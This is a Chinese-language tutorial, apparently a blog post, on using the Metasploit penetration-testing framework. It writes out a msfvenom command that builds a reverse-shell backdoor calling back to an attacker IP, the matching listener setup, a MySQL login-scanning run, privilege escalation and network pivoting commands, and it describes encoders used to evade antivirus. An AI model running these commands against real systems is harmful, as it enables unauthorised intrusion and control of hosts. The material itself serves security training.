0x01概述
Metasploit 框架,总体由由五部分组成,它们分别是:
- 模块
- 接口
- 插件
- 功能程序
- 基础库文件
我们最常用的部分是模块部分。模块又可以分为辅助模块 Auxiliary、渗透攻击模块 Exploits、攻击载荷模块 Payloads、空指令模块 Nops、编码器模块 Encoders 和后渗透攻击模块 Post 模块组成。
- 渗透攻击模块(Exploit):这是一段程序,运行起来的时候会利用目标的安全漏洞进行攻击。
- 辅助模块(Auxiliary):这里包含了一系列的辅助支持模块,包括扫描模块、Fuzz 测试漏洞发掘模块、网络协议欺骗以及其他一些模块。
- 编码器模块(Encoder):编码器模块通常用来对我们的攻击模块进行代码混淆,来逃过目标安全保护机制的检测。目标安全保护机制包括杀毒软件和防火墙等。
- 攻击载荷模块(Payloads) :通常用来在成功渗透目标后建立正向和反向shell,或者执行特定的任务,如在目标机上安装一个服务。meterpreter就是一个常见的攻击载荷模块。
- NOP 实现指令的对齐,提高渗透程序的稳定性
0x02方法
开始:启动metesploit框架
# 启动 postgreSQL 数据库,因为 Metasploit 需要使用 postgreSQL 进行数据存储
service postgresql start
# 初始化数据库
msfdb init
# 启动 msfconsole,进入到操作界面
msfconsole
命令:基础的操作
metasploit命令
- search 关键字 搜索需要的模块
可以先使用db_rebuild_cache
命令建立查询缓存,缓存建立后查询速度会很快 - use 模块名 使用该模块
- show options/info 展示模块的有效选项
- show targets 进入某个攻击模块后,使用命令可以查看攻击模块适用的系统
- show advanced 列出所有高级配置选项
- set/setg(setg为设置某个变量作用域为全局)
- set autorunscript migrate -f 渗透完成后,自动迁移到另一个进程
- save 使用setg设置全局参数后可以使用save将当前设置值保存下来,这样下次启动msf时还可以使用这些值
- exploit(启动攻击模块)/run(启动辅助模块) -j(后台进行攻击) -z(攻击成功后不与会话进行交互) -e encoder(指定攻击载荷编码方式)
- check 检测目标是否对选定渗透攻击存在相应安全漏洞,该模块支持check方法才有效
- sessions -l(列出可用交互对话) -v(列出攻击时使用的漏洞) -K(kill所有会话)-u sessionID(升级一个普通shell至 meterpreter shell) -i sessionID(进入某个session中)
- back 退回到上一级命令窗口
meterpreter命令
- sysinfo 列出被渗透主机系统信息
- ifconfig 列出网络接口
- shell 获取目标主机的cmd shell
- getuid 获取当前用户细节/getpid 获取meterpreter会话在目标主机上的进程好
- getsystem 提升权限,获取系统权限
- ps 列出目标主机上所有进程
msfvenom命令
- msfvenom --list payloads 查看所有payload
- 制作后门,根据上面的payload(假设使用反向tcp连接)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=6789 -f elf >yowell.elf
上传至待攻击服务器后,运行后门,在kali下使用下面命令连接
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.12
msf5 exploit(multi/handler) > set lport 6789
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run
步骤:一次渗透操作
1、登录模块 use auxiliary/scanner/mysql/mysql_login
2、查看模块库的有效选项show options
3、设置选项值set RHOSTS 1.1.1.1
4、执行攻击exploit
5、获取交互式shellpython -c "import pty; pty.spawn("/bin/bash")"
0x03技巧
1、查找对应服务版本上存在的漏洞
https://www.cvedetails.com/
2、使用数据库
- db_status metasploit当前数据连接状态
- db_connect 数据库名 连接至非默认数据库外的另一个数据库
db_nmap 结果直接保存到metasploit数据库中
扫描完成后使用services查看服务
hosts列出数据库中的所有主机- db_export 从数据库导出/db_import 导入(nessus,nmap)的结果
- db_rebuild_cache 重新建立缓存
3、提升效率 - pushm/popm:应用场景 两个模块需要交替使用时,在模块1时pushm,然后切到模块2,模块2使用完后,popm,再使用模块1,模块1的配置与之前一致
资源脚本:
makesrc 脚本文件名 命令可以将之前输入过的命令都保存在一个文件中
resource 脚本文件名 使用创建好的资源脚本
- 多层网络情况下
为了使kali能访问内网多层网络场景,在获取到第一层网络权限情况下,直接通过kali连接第二层网络 - run autoroute -s 192.168.22.0/24 添加第二层网络路由
- run autoroute -p 查看路由情况
- use auxiliary/server/socks4a 设置代理,让攻击机访问靶机
0x04开发
- metasploit下重要目录
lib metasploit的核心,包含了帮助我们建立msf模块的全部重要库文件,其中两个重要的库base和core位于lib/msf/下
modules 包含metasploit的所有模块-从扫描模块到后渗透模块
tools 包含了所有用于辅助渗透测试的命令行程序 - 检查ruby语法
tools/dev/msftidy.rb 要检查的.rb
loadpath
开发模块时,需要将模块放入对应的分类文件夹中,不过一 旦metasploit更新,所有的模块都会被删除。为了摆脱该限 制,我们可以创建一个外部目录,然后从这个目录加在模块。 ex:我们创建一个没有目录 /mods/xxx mods下面的目录结构与metasploit一致 在msf中使用 loadpath /mods 即可加载模块
- reload,edit,reload_all
在模块的开发过程中可能需要一次又一次的测试,每次修改新
模块时都要关闭metasploit,这样十分耗时。我们可以在msf
使用edit动态修改这些模块,并使用reload重新载入
持续更新....
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。